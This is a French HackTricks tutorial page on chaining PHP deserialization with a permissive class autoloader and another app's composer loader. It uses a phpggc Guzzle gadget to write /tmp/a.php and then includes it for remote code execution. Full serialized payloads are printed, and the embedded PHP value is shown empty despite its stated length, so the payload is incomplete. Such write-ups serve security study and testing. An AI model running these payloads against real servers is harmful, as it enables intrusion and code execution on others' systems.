# PHP - Désérialisation + Chargement Automatique de Classes {% hint style="success" %} Apprenez et pratiquez le Hacking AWS :[**HackTricks Formation AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Apprenez et pratiquez le Hacking GCP : [**HackTricks Formation GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Soutenir HackTricks * Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) ! * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
{% endhint %} Tout d'abord, vous devriez vérifier ce que sont les [**Classes de Chargement Automatique**](https://www.php.net/manual/en/language.oop5.autoload.php). ## Désérialisation PHP + spl\_autoload\_register + LFI/Gadget Nous sommes dans une situation où nous avons trouvé une **désérialisation PHP dans une webapp** sans **aucune** bibliothèque vulnérable aux gadgets à l'intérieur de **`phpggc`**. Cependant, dans le même conteneur, il y avait une **autre webapp composer avec des bibliothèques vulnérables**. Par conséquent, l'objectif était de **charger le chargeur composer de l'autre webapp** et de l'exploiter pour **charger un gadget qui exploitera cette bibliothèque avec un gadget** de la webapp vulnérable à la désérialisation. Étapes : * Vous avez trouvé une **désérialisation** et il **n'y a pas de gadget** dans le code de l'application actuelle * Vous pouvez abuser d'une fonction **`spl_autoload_register`** comme suit pour **charger n'importe quel fichier local avec l'extension `.php`** * Pour cela, vous utilisez une désérialisation où le nom de la classe sera à l'intérieur de **`$name`**. Vous **ne pouvez pas utiliser "/" ou "."** dans un nom de classe dans un objet sérialisé, mais le **code** est **en train de remplacer** les **traits d'union** ("\_") **par des barres obliques** ("/"). Ainsi, un nom de classe tel que `tmp_passwd` sera transformé en `/tmp/passwd.php` et le code essaiera de le charger.\ Un **exemple de gadget** sera : **`O:10:"tmp_passwd":0:{}`** ```php spl_autoload_register(function ($name) { if (preg_match('/Controller$/', $name)) { $name = "controllers/${name}"; } elseif (preg_match('/Model$/', $name)) { $name = "models/${name}"; } elseif (preg_match('/_/', $name)) { $name = preg_replace('/_/', '/', $name); } $filename = "/${name}.php"; if (file_exists($filename)) { require $filename; } elseif (file_exists(__DIR__ . $filename)) { require __DIR__ . $filename; } }); ``` {% hint style="success" %} Si vous avez un **téléchargement de fichier** et que vous pouvez télécharger un fichier avec une **extension `.php`**, vous pourriez **abuser de cette fonctionnalité directement** et obtenir déjà un RCE. {% endhint %} Dans mon cas, je n'avais rien de tel, mais il y avait à l'intérieur du **même conteneur** une autre page web composer avec une **bibliothèque vulnérable à un gadget `phpggc`**. * Pour charger cette autre bibliothèque, vous devez d'abord **charger le chargeur composer de cette autre application web** (car celui de l'application actuelle n'accédera pas aux bibliothèques de l'autre). **Connaissant le chemin de l'application**, vous pouvez y parvenir très facilement avec : **`O:28:"www_frontend_vendor_autoload":0:{}`** (Dans mon cas, le chargeur composer était dans `/www/frontend/vendor/autoload.php`) * Maintenant, vous pouvez **charger** le **chargeur composer de l'autre application**, donc il est temps de **`générer le phpgcc`** **payload** à utiliser. Dans mon cas, j'ai utilisé **`Guzzle/FW1`**, ce qui m'a permis de **écrire n'importe quel fichier dans le système de fichiers**. * REMARQUE : Le **gadget généré ne fonctionnait pas**, pour qu'il fonctionne, j'ai **modifié** ce payload **`chain.php`** de phpggc et défini **tous les attributs** des classes **de privé à public**. Sinon, après avoir désérialisé la chaîne, les attributs des objets créés n'avaient aucune valeur. * Maintenant, nous avons le moyen de **charger le chargeur composer de l'autre application** et d'avoir un **payload phpggc qui fonctionne**, mais nous devons **faire cela dans la MÊME DEMANDE pour que le chargeur soit chargé lorsque le gadget est utilisé**. Pour cela, j'ai envoyé un tableau sérialisé avec les deux objets comme : * Vous pouvez voir **d'abord le chargeur être chargé puis le payload** {% code overflow="wrap" %} ```php a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} ``` {% endcode %} * Maintenant, nous pouvons **créer et écrire un fichier**, cependant, l'utilisateur **ne pouvait pas écrire dans n'importe quel dossier à l'intérieur du serveur web**. Donc, comme vous pouvez le voir dans le payload, PHP appelle **`system`** avec un **base64** qui est créé dans **`/tmp/a.php`**. Ensuite, nous pouvons **réutiliser le premier type de payload** que nous avons utilisé comme LFI pour charger le chargeur de composer de l'autre webapp **pour charger le fichier généré `/tmp/a.php`**. Il suffit de l'ajouter au gadget de désérialisation : {% code overflow="wrap" %} ```php a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}} ``` {% endcode %} **Résumé de la charge utile** * **Charger l'autoload de composer** d'une autre webapp dans le même conteneur * **Charger un gadget phpggc** pour abuser d'une bibliothèque de l'autre webapp (la webapp initiale vulnérable à la désérialisation n'avait pas de gadget dans ses bibliothèques) * Le gadget va **créer un fichier avec une charge utile PHP** dessus dans /tmp/a.php avec des commandes malveillantes (l'utilisateur de la webapp ne peut pas écrire dans aucun dossier de aucune webapp) * La dernière partie de notre charge utile va **charger le fichier PHP généré** qui exécutera des commandes J'ai dû **appeler cette désérialisation deux fois**. Dans mes tests, la première fois le fichier `/tmp/a.php` a été créé mais pas chargé, et la deuxième fois il a été correctement chargé. {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}